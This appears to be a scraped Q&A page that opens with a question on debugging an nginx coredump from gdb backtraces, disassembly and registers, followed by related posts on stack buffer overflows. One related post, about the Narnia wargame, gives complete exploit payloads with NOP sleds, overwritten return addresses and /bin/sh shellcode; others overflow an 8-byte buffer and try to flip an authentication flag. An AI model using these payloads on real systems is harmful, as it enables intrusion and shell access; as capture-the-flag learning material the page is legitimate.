our nginx server coredump with a relatively low probability after we modified some codes, it coredump when call another function. i'm not sure what direct reason is, for example: nginx tried to read/write a wrong memory, but what is the exact wrong address and how to find out?
here is the last 8 frames.
(gdb) bt
#0 0x00000000004e9bb8 in ngx_http_trailers_filter (r=0x1128e350, in=0x7ffe64678c60)
at src/http/modules/ngx_http_headers_filter_module.c:264
#1 0x0000000000539754 in ngx_http_jflv_body_filter (r=0x1128e350, in=0x7ffe64678c60) at addon/jflv/ngx_http_jflv_module.c:263
#2 0x000000000053c931 in ngx_http_jbilling_body_filter (r=0x1128e350, in=0x7ffe64678c60)
at addon/jbilling/ngx_http_jbilling_module.c:2192
#3 0x000000000053fef1 in ngx_http_jbilling_body_filter (r=0x1128e350, in=0x7ffe64678c60)
at addon/thirdparty_billing/ngx_http_thirdparty_billing_module.c:2111
#4 0x0000000000549690 in ngx_http_sub_grep_body_filter (r=0x1128e350, in=0x7ffe64678c60)
at addon/sub_grep_filter/ngx_http_sub_grep_filter_module.c:299
#5 0x000000000052cd5f in ngx_http_upstream_jconhash_body_filter (r=0x1128e350, chain=0x7ffe64678c60)
at addon/upstream_jconhash/ngx_http_upstream_jconhash_module.c:1664
#6 0x00000000005310c3 in ngx_http_upstream_lb_chash_body_filter (r=0x1128e350, chain=0x7ffe64678c60)
at addon/upstream_lb_chash/chash/ngx_http_upstream_lb_chash_module.c:993
#7 0x000000000053cc93 in ngx_http_file_signature_body_filter (r=0x1128e350, in=0x7ffe64678c60)
at addon/file_signature_filter/ngx_http_file_signature_filter_module.c:203
#8 0x000000000054b1a8 in ngx_http_trim_body_filter (r=0x1128e350, in=<optimized out>)
at addon/jtrim/ngx_http_trim_filter_module.c:365
the codes near src/http/modules/ngx_http_headers_filter_module.c:264
static ngx_int_t
ngx_http_trailers_filter(ngx_http_request_t *r, ngx_chain_t *in)
{
ngx_str_t value;
ngx_uint_t i, safe_status;
ngx_chain_t *cl;
ngx_table_elt_t *t;
ngx_http_header_val_t *h;
ngx_http_headers_conf_t *conf;
conf = ngx_http_get_module_loc_conf(r, ngx_http_headers_filter_module);
if (in == NULL
|| conf->trailers == NULL
|| !r->expect_trailers
|| r->header_only)
{
return ngx_http_next_body_filter(r, in); <== coredump here
}
...
}
i also disassemble the last frame code
(gdb) disassemble
Dump of assembler code for function ngx_http_trailers_filter:
0x00000000004e9aeb <+0>: push %r15
0x00000000004e9aed <+2>: push %r14
0x00000000004e9aef <+4>: push %r13
0x00000000004e9af1 <+6>: push %r12
0x00000000004e9af3 <+8>: push %rbp
0x00000000004e9af4 <+9>: push %rbx
0x00000000004e9af5 <+10>: sub $0x28,%rsp
0x00000000004e9af9 <+14>: mov %rdi,%r12
0x00000000004e9afc <+17>: mov %rsi,%r15
0x00000000004e9aff <+20>: mov 0x28(%rdi),%rax
0x00000000004e9b03 <+24>: mov 0x5e5ed6(%rip),%rdx # 0xacf9e0 <ngx_http_headers_filter_module>
0x00000000004e9b0a <+31>: lea (%rax,%rdx,8),%rax
0x00000000004e9b0e <+35>: test %rsi,%rsi
0x00000000004e9b11 <+38>: je 0x4e9bac <ngx_http_trailers_filter+193>
0x00000000004e9b17 <+44>: mov (%rax),%r14
0x00000000004e9b1a <+47>: mov 0x20(%r14),%rcx
0x00000000004e9b1e <+51>: test %rcx,%rcx
0x00000000004e9b21 <+54>: je 0x4e9bac <ngx_http_trailers_filter+193>
0x00000000004e9b27 <+60>: movzbl 0x511(%rdi),%eax
0x00000000004e9b2e <+67>: and $0xffffffc0,%eax
0x00000000004e9b31 <+70>: cmp $0x80,%al
0x00000000004e9b33 <+72>: jne 0x4e9bac <ngx_http_trailers_filter+193>
0x00000000004e9b35 <+74>: mov (%rsi),%rax
0x00000000004e9b38 <+77>: cmpb $0x0,0x48(%rax)
0x00000000004e9b3c <+81>: js 0x4e9b57 <ngx_http_trailers_filter+108>
0x00000000004e9b3e <+83>: mov %rsi,%rax
0x00000000004e9b41 <+86>: mov 0x8(%rax),%rax
--Type <RET> for more, q to quit, c to continue without paging--
0x00000000004e9b45 <+90>: test %rax,%rax
0x00000000004e9b48 <+93>: je 0x4e9c6d <ngx_http_trailers_filter+386>
0x00000000004e9b4e <+99>: mov (%rax),%rdx
0x00000000004e9b51 <+102>: cmpb $0x0,0x48(%rdx)
0x00000000004e9b55 <+106>: jns 0x4e9b41 <ngx_http_trailers_filter+86>
0x00000000004e9b57 <+108>: mov 0x268(%r12),%rax
0x00000000004e9b5f <+116>: cmp $0xce,%rax
0x00000000004e9b65 <+122>: je 0x4e9bc7 <ngx_http_trailers_filter+220>
0x00000000004e9b67 <+124>: ja 0x4e9c7e <ngx_http_trailers_filter+403>
0x00000000004e9b6d <+130>: mov $0x0,%r13d
0x00000000004e9b73 <+136>: cmp $0xc8,%rax
0x00000000004e9b79 <+142>: jb 0x4e9b97 <ngx_http_trailers_filter+172>
0x00000000004e9b7b <+144>: mov $0x1,%r13d
0x00000000004e9b81 <+150>: cmp $0xc9,%rax
0x00000000004e9b87 <+156>: jbe 0x4e9b97 <ngx_http_trailers_filter+172>
0x00000000004e9b89 <+158>: cmp $0xcc,%rax
0x00000000004e9b8f <+164>: sete %r13b
0x00000000004e9b93 <+168>: movzbl %r13b,%r13d
0x00000000004e9b97 <+172>: mov (%rcx),%rbx
0x00000000004e9b9a <+175>: cmpq $0x0,0x8(%rcx)
0x00000000004e9b9f <+180>: je 0x4e9c44 <ngx_http_trailers_filter+345>
0x00000000004e9ba5 <+186>: mov $0x0,%ebp
0x00000000004e9baa <+191>: jmp 0x4e9c03 <ngx_http_trailers_filter+280>
0x00000000004e9bac <+193>: mov %r15,%rsi
0x00000000004e9baf <+196>: mov %r12,%rdi
0x00000000004e9bb2 <+199>: callq *0x62aa70(%rip) # 0xb14628 <ngx_http_next_body_filter>
=> 0x00000000004e9bb8 <+205>: add $0x28,%rsp
0x00000000004e9bbc <+209>: pop %rbx
--Type <RET> for more, q to quit, c to continue without paging--
0x00000000004e9bbd <+210>: pop %rbp
0x00000000004e9bbe <+211>: pop %r12
0x00000000004e9bc0 <+213>: pop %r13
0x00000000004e9bc2 <+215>: pop %r14
0x00000000004e9bc4 <+217>: pop %r15
0x00000000004e9bc6 <+219>: retq
0x00000000004e9bc7 <+220>: mov $0x1,%r13d
rip point to 0x00000000004e9bb8, so the current executing instruction should be 0x00000000004e9bb2 callq *0x62aa70(%rip), i have searched some docs for what callq instruction is(eg: https://web.stanford.edu/class/archive/cs/cs107/cs107.1186/guide/x86-64.html), in the docs, it says:
The callq instruction takes one operand, the address of the function being called. It pushes the return address (current value of %rip, which is the next instruction after the call) onto the stack and then jumps to the address of the function being called.
it seems it only push ret addresss to stack and change the rip to the address of the function being called, it shouldn't make process coredump normally.
i also suspect another possibility: it actually coredump when ngx_http_next_body_filter execute retq.
because 0x00000000004e9bac(mov %r15,%rsi) and 0x00000000004e9baf(mov %r12,%rdi) have just executed before coredump, so %15 and %rsi should be same(the in param in src code), %r12 and %rdi should be same too(the r param in src code), but the actual info in registers is not the value we expected
(gdb) i r
rax 0x0 0
rbx 0x1128e350 287892304
rcx 0x1128e300 287892224
rdx 0x0 0
rsi 0x0 0
rdi 0xbe 190
rbp 0x0 0x0
rsp 0x7ffe64678700 0x7ffe64678700
r8 0xbe 190
r9 0x7ffe64677ec0 140730582924992
r10 0x10d7f170 282587504
r11 0x246 582
r12 0x1128e350 287892304
r13 0x7ffe64678c60 140730582928480
r14 0x3148b28 51677992
r15 0x7ffe64678c60 140730582928480
rip 0x4e9bb8 0x4e9bb8 <ngx_http_trailers_filter+205>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
so maybe the rsi and rdi have been modified by ngx_http_next_body_filter, and it actually coredump when ngx_http_next_body_filter execute retq, is it possible?
is there some advices to anylyse this question?
i also have other questions:
normally, what kinds of codes would coredump when call another function.
is there some docs explain similar situation
Related
I come back (yet again) to basic buffer explotation CTFs and I have the following vulnerable program of Narnia CTF from Overthewire:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
I see that by "A" * 132, there is a segfault.
Anything less, the program is executed normally.
Dumping main in gdb gives:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: add $0xffffff80,%esp
0x08048451 <+6>: cmpl $0x1,0x8(%ebp)
0x08048455 <+10>: jne 0x8048471 <main+38>
0x08048457 <+12>: mov 0xc(%ebp),%eax
0x0804845a <+15>: mov (%eax),%eax
0x0804845c <+17>: push %eax
0x0804845d <+18>: push $0x8048520
0x08048462 <+23>: call 0x8048300 <printf#plt>
0x08048467 <+28>: add $0x8,%esp
0x0804846a <+31>: push $0x1
0x0804846c <+33>: call 0x8048320 <exit#plt>
0x08048471 <+38>: mov 0xc(%ebp),%eax
0x08048474 <+41>: add $0x4,%eax
0x08048477 <+44>: mov (%eax),%eax
0x08048479 <+46>: push %eax
0x0804847a <+47>: lea -0x80(%ebp),%eax
0x0804847d <+50>: push %eax
0x0804847e <+51>: call 0x8048310 <strcpy#plt>
0x08048483 <+56>: add $0x8,%esp
0x08048486 <+59>: lea -0x80(%ebp),%eax
0x08048489 <+62>: push %eax
0x0804848a <+63>: push $0x8048534
0x0804848f <+68>: call 0x8048300 <printf#plt>
0x08048494 <+73>: add $0x8,%esp
0x08048497 <+76>: mov $0x0,%eax
0x0804849c <+81>: leave
0x0804849d <+82>: ret
My idea is to take control over the instruction pointer and make it poit to my shellcode. There is no stack canary.
With gbd, I set up a breakpoint at *0x0804849c and see the EIP address before returning is 0x804849c.
(gdb) i r
eax 0x0 0
ecx 0x7fffffe6 2147483622
edx 0xf7fc6870 -134453136
ebx 0x0 0
esp 0xffffd628 0xffffd628
ebp 0xffffd6a8 0xffffd6a8
esi 0x2 2
edi 0xf7fc5000 -134459392
eip 0x804849c 0x804849c <main+81>
When overflowing with "A" * 132 and run the program again, and then stepping over the breakpoint, I see EBP is filled with "A"s.
(gdb) i r
eax 0x0 0
ecx 0x7fffff7b 2147483515
edx 0xf7fc6870 -134453136
ebx 0x0 0
esp 0xffffd640 0xffffd640
ebp 0x41414141 0x41414141
When running again with extra bytes (136 in total), I see I am able to take control over EIP.
(gdb) i r
eax 0x0 0
ecx 0x7fffff7b 2147483515
edx 0xf7fc6870 -134453136
ebx 0x0 0
esp 0xffffd640 0xffffd640
ebp 0x41414141 0x41414141
-----> 0x41414141 in ?? ()
So, I craft my payload as follows:
buffer points to nops
[PADDING] + ] [ EIP + 4 ] + [ NOP SLED ] + [ SHELLCODE ]
AAAAAA.. \x0c\xd6\xff\xff \X90 * 48 + n length shellcode
`python -c "print('A' * 132 + '\x0c\xd6\xff\xff' + '\x90'*48 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')"`
My questions are:
I noticed that I had to arbitrarly increment the NOP sled in order for this to work. For example, the payload worked in gdb with as little as 10 NOPs, and in the shell, specifically 48 were needed. What is the reason for this?
I also noticed that depending on the shellcode length, there were more or less NOPs needed. For example, the following payload worked with exactly 78 NOPs outside of gdb:
./narnia2 `python -c "print('A' * 132 + '\x0c\xd6\xff\xff' + '**\x90'*100** + '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80')"`
Anything less returns SIGILL, Illegal instruction.
Meanwhile, on GDB, that same payload only took 30 NOPs
Another question is, why are NOPs necessary? If I provide payload with no nops and inspect the instructions after leave, I see:
0xffffd60c in ?? () (the address in our payload, where we pointed eip to)
(gdb) x/20i 0xffffd60c
=> 0xffffd60c: inc %ecx
0xffffd60d: inc %ecx
0xffffd60e: inc %ecx
0xffffd60f: inc %ecx
0xffffd610: inc %ecx
0xffffd611: inc %ecx
0xffffd612: inc %ecx
0xffffd613: inc %ecx
0xffffd614: inc %ecx
0xffffd615: inc %ecx
0xffffd616: inc %ecx
...
0xffffd61e: (bad)
If I, however, specify the NOPs and run the program again:
(gdb) x/20i 0xffffd60c
=> 0xffffd60c: nop
0xffffd60d: nop
0xffffd60e: nop
0xffffd60f: nop
0xffffd610: nop
0xffffd611: nop
0xffffd612: nop
0xffffd613: nop
0xffffd614: nop
0xffffd615: nop
0xffffd616: nop
0xffffd617: nop
0xffffd618: nop
0xffffd619: nop
0xffffd61a: nop
0xffffd61b: nop
0xffffd61c: nop
0xffffd61d: nop
0xffffd61e: nop
0xffffd61f: nop
(gdb)
0xffffd620: cltd This is the shellcode!
0xffffd621: mul %edx
0xffffd623: lea (%eax),%ecx
0xffffd625: mov $0x68732f2f,%esi
0xffffd62a: mov $0x6e69622f,%edi
0xffffd62f: push %ecx
0xffffd630: push %esi
0xffffd631: push %edi
0xffffd632: lea (%esp),%ebx
0xffffd635: mov $0xb,%al
0xffffd637: int $0x80
: Shellcode in question :
Finally, I was looking if there was an actual way of switching the payload order. Specifically, what if the payload looks like:
[PADDING NOP SLED - SHELLCODE.LEN ] + SHELLCODE + EIP
EIP points to the start of the buffer, so it points to our NOP SLED, and eventually executes the shellcode. Is this possible?
I noticed the buffer starts at 0xffffd618. The payload becomes:
#~: ./narnia2 `python -c "print('\x90'*107 + '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80' + '\x18\xd6\xff\xff')"`
Inspecting in GDB,
(gdb) x/20i 0xffffd618
=> 0xffffd618: nop
0xffffd619: nop
0xffffd61a: nop
0xffffd61b: nop
0xffffd61c: nop
0xffffd61d: nop
0xffffd61e: nop
0xffffd61f: nop
0xffffd620: nop
0xffffd621: nop
0xffffd622: nop
0xffffd623: cltd That's the shellcode again!
0xffffd624: mul %edx
0xffffd626: lea (%eax),%ecx
0xffffd628: mov $0x68732f2f,%esi
0xffffd62d: mov $0x6e69622f,%edi
0xffffd632: push %ecx
0xffffd633: push %esi
0xffffd634: push %edi
0xffffd635: lea (%esp),%ebx
(gdb)
0xffffd638: mov $0xb,%al
0xffffd63a: int $0x80
0xffffd63c: sbb %dl,%dh
0xffffd63e: (bad) uh oh
The program eventually segfaults, specifically, at 0xffffd635. What is the reason for this?
I'm curious about how overwriting the stack is different in the main function than in other functions
Take this example:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[8];
gets(buf);
}
In this code, the buffer to be overflowed is created in the main function, and as a result I receive this output from gdb after entering in a lot of 'A's:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x5655620c in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) info registers eip
eip 0x5655620c 0x5655620c <main+63>
Disassembly for main:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: lea ecx,[esp+0x4]
0x000011d5 <+8>: and esp,0xfffffff0
0x000011d8 <+11>: push DWORD PTR [ecx-0x4]
0x000011db <+14>: push ebp
0x000011dc <+15>: mov ebp,esp
0x000011de <+17>: push ebx
0x000011df <+18>: push ecx
0x000011e0 <+19>: sub esp,0x10
0x000011e3 <+22>: call 0x120d <__x86.get_pc_thunk.ax>
0x000011e8 <+27>: add eax,0x2df0
0x000011ed <+32>: sub esp,0xc
0x000011f0 <+35>: lea edx,[ebp-0x10]
0x000011f3 <+38>: push edx
0x000011f4 <+39>: mov ebx,eax
0x000011f6 <+41>: call 0x1070 <gets#plt>
0x000011fb <+46>: add esp,0x10
0x000011fe <+49>: mov eax,0x0
0x00001203 <+54>: lea esp,[ebp-0x8]
0x00001206 <+57>: pop ecx
0x00001207 <+58>: pop ebx
0x00001208 <+59>: pop ebp
0x00001209 <+60>: lea esp,[ecx-0x4]
0x0000120c <+63>: ret
Here, the EIP register was not overwritten and apparently gdb cannot access memory at an overwritten address.
Whereas in this example where the buffer stuff is written in another function:
#include <stdio.h>
void over() {
char buf[8];
gets(buf);
}
int main(int argc, char *argv[])
{
over();
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip 0x41414141 0x41414141
Disassembly for main:
0x000011f9 <+0>: endbr32
0x000011fd <+4>: push ebp
0x000011fe <+5>: mov ebp,esp
0x00001200 <+7>: and esp,0xfffffff0
0x00001203 <+10>: call 0x1219 <__x86.get_pc_thunk.ax>
0x00001208 <+15>: add eax,0x2dd0
0x0000120d <+20>: call 0x11cd <over>
0x00001212 <+25>: mov eax,0x0
0x00001217 <+30>: leave
0x00001218 <+31>: ret
Disassembly for over:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: push ebp
0x000011d2 <+5>: mov ebp,esp
0x000011d4 <+7>: push ebx
0x000011d5 <+8>: sub esp,0x14
0x000011d8 <+11>: call 0x1219 <__x86.get_pc_thunk.ax>
0x000011dd <+16>: add eax,0x2dfb
0x000011e2 <+21>: sub esp,0xc
0x000011e5 <+24>: lea edx,[ebp-0x10]
0x000011e8 <+27>: push edx
0x000011e9 <+28>: mov ebx,eax
0x000011eb <+30>: call 0x1070 <gets#plt>
0x000011f0 <+35>: add esp,0x10
0x000011f3 <+38>: nop
0x000011f4 <+39>: mov ebx,DWORD PTR [ebp-0x4]
0x000011f7 <+42>: leave
0x000011f8 <+43>: ret
A slightly different message is provided and the EIP is overwritten
Why does this make a difference? Why is the EIP not overwritten when the buffer is created in the main function?
I am using: gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
And compiled with: gcc -m32 -g -fno-stack-protector source.c -o vuln -z execstack
The difference is pretty arbitrary. The exact prologue/epilogue instruction sequence generated by GCC is different for over() in the second example than it is for main() in the first example. So it crashes it a very different way, from a debugger's point of view. After single-stepping in GDB, you can see why, and I have just killed some time doing so.
The stack is thoroughly corrupt upon returning from gets(), so all bets are off, but anyway, here goes. I run the first example, setting a breakpoint immediately after returning from the call to gets():
(gdb) disassemble main
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) b *0x08048448
Breakpoint 1 at 0x8048448: file source.c, line 6.
(gdb)
Now continue to enter some garbage, hit the breakpoint, and start single-stepping:
(gdb) r
Starting program: /home/lstrand/tmp/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
6 gets(buf);
(gdb) disassemble
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
=> 0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) bt
#0 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) stepi
0x0804844b 6 gets(buf);
(gdb)
7 }
(gdb)
0x08048453 7 }
(gdb)
0x08048454 7 }
(gdb)
0x08048457 7 }
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) bt
#0 0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) info reg
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x8048457 0x8048457 <main+44>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Here, we die on the ret instruction in main() because the stack pointer esp has the bad value 0x4141413d. GDB correctly pinpoints the failing instruction as being in main().
But what happens in the over() case? Let's take a look:
lstrand#styx:~/tmp$ gdb ./vuln2
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln2...done.
(gdb) disassemble over
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) b *0x0804843d
Breakpoint 1 at 0x804843d: file source2.c, line 5.
(gdb) r
Starting program: /home/lstrand/tmp/vuln2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Breakpoint 1, 0x0804843d in over () at source2.c:5
5 gets(buf);
(gdb) disassemble
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
=> 0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd180 0xffffd180
ebp 0xffffd1a8 0xffffd1a8
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x804843d 0x804843d <over+18>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
6 }
(gdb)
0x08048441 6 }
(gdb)
0x08048442 6 }
(gdb) stepi
0x41414141 in ?? ()
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd1b0 0xffffd1b0
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Note the subtle difference here. In this case, the epilogue code unwinds %esp with simple arithetic: "add $0x10,%esp" (as opposed to restoring it from the stack, as in the first case). The 'leave' instruction puts garbage into the frame pointer %ebp, but the new %esp value obtained from %ebp is still valid. Then the ret instruction sucessfully executes, leaving us a bad ip, 0x41414141. And then the program dies with SIGSEGV trying to read an instruction from nowhere.
In this case, GDB has no hope of unwinding the stack:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0xf7006141 in ?? ()
#6 0xf7fa4000 in ?? () from /lib/i386-linux-gnu/libc.so.6
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb)
Recall in the first case, the program died on the ret instruction itself because %esp was already bad. In the first case GDB can still find where the program is, but in the second case it cannot.
I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf#plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit#plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy#plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
